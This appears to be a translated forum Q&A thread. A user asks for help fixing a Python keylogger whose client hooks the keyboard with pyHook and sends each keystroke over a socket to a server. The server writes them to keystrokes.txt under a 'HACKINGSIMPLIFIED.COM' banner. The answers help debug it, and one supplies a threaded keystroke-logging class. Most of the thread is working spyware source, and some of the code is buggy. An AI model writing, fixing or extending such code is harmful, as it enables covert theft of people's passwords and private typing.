hook pulls me out of the loop while it helps

2

Hello, someone can help me with this, they told me, but I do not know how to solve it yet: Client:

import socket
import pyHook,pythoncom,sys,logging
import threading
servidor = "127.0.0.1"
puerto = 39421
def OnKeyboardEvent(event):
    try:
        k=chr(event.Ascii)
        server1.send(k)
        #print str(k)
    except:
        pass



while True:
    server1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    loop1='on'
    while loop1=='on':
        server1.connect((servidor,puerto))
        loop1='off'
    hooks_manager=pyHook.HookManager()
    hooks_manager.KeyDown=OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()

server:

import socket
import threading
import os
def administrar_clientes(socket_cliente):

    #peticion = socket_cliente.recv(16384)
    #print "[*] Mensaje recibido: %s" % peticion
    #socket_cliente.close()
    #wait for one incoming connection
    print "connection from"+"hola"

    a=0
    count=0
    os.system('cls')
    f=open('keystrokes.txt','w')
    f.close()
    print '1.) started for--->'+str("hola")
    while a==0:
        data=cliente.recv(16384)#rec data of 16 kb limit at a time
        if data==' ':
            spacecount+=1
            if spacecount%8==0:
                f=open('keystrokes.txt','a')
                f.write("\n")
                f.close()

        f=open('keystrokes.txt','a')
        f.write(data)
        f.close()
        count+=1
        os.system('cls')
        print 'started for--->'+'         HACKINGSIMPLIFIED.COM'
        print str(count)+" keystrokes recived"

ip = "0.0.0.0"
puerto = 39421
max_conexiones = 5
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

servidor.bind((ip, puerto))
servidor.listen(max_conexiones)
print "[*] Esperando conexiones en %s:%d" % (ip, puerto)

while True:
    cliente, direccion = servidor.accept()
    administrador_de_clientes = threading.Thread(target=administrar_clientes, args=(cliente,))
    administrador_de_clientes.start()

The problem is the client pulls me out of the while loop with pyhook. They told me to put a thread but I tried but it did not work? someone who knows?

    
asked by Perl 07.08.2016 в 19:02
source

2 answers

2

It takes you out of while because you're forcing it to close. If I'm not mistaken, you mean this.

while loop1=='on':
    server1.connect((servidor,puerto))
    loop1='off'

This means, while loop1 is on , something happens, and between that something is to change that value for off , you should do a if instead of a while .

if loop1=='on':
    server1.connect((servidor,puerto))
    loop1='off'

That to happen only once. But that does not seem logical either, since if there is a while it's for something, so I suppose you have to do a while and then a if with the answer of server1 , like this.

while loop1=='on':
    conectado = server1.connect((servidor,puerto))
    if conectado==False:
        loop1='off'
    
answered by 13.09.2016 в 19:52
2
import pyHook,pythoncom

from threadComm import Thread

from os import SEEK_END as END

 

class bindKeyboard(Thread):

    def __init__(self,work=True,write=False,name_file='text.txt'):

        self.wk=work;self.wr=write;self.nf=name_file

        Thread.__init__(self)

 

    def work(self,event):

        print 'Ascii:', unichr(event.Ascii)

 

    def run(self):

        h = keyboard(self.wk,self.wr,self.nf)

        h.work = self.work

        h.bindMessages()

 

class keyboard(pyHook.HookManager):

    def __init__(self,work=True,write=False,name_file=None):

        self._work = work

        self._write = write

        self._name_file = name_file

        pyHook.HookManager.__init__(self)

        self.HookKeyboard()

        self.KeyDown = self.__keyDown

 

    def __write_in_file(self,data,key):

        f = open(self._name_file,"a")

        if key == 'Back':

            f.seek(-1,END)

            f.truncate()

        elif key == 'Return':

            f.write('\n')

        elif key == 'Space':

            f.write(' ')

        else:

            f.write(data.encode('utf-8'))

        f.close()

 

    def __keyDown(self,event):

        if self._work == True: self.work(event)

        if self._write == True: self.__write_in_file(unichr(event.Ascii),event.Key)

        return 1

 

    def bindMessages(self):

        pythoncom.PumpMessages()

Some time ago I created this script so that it could work in a thread and threadCom is another script to use pyqt thread if you do not want to use threadCom you can use thread from the standard python library to use it

from bindKeyboard import bindKeyboard
Import time

bind = bindKeyboard()
bind.start()
time.sleep(10)
    
answered by 07.12.2016 в 01:14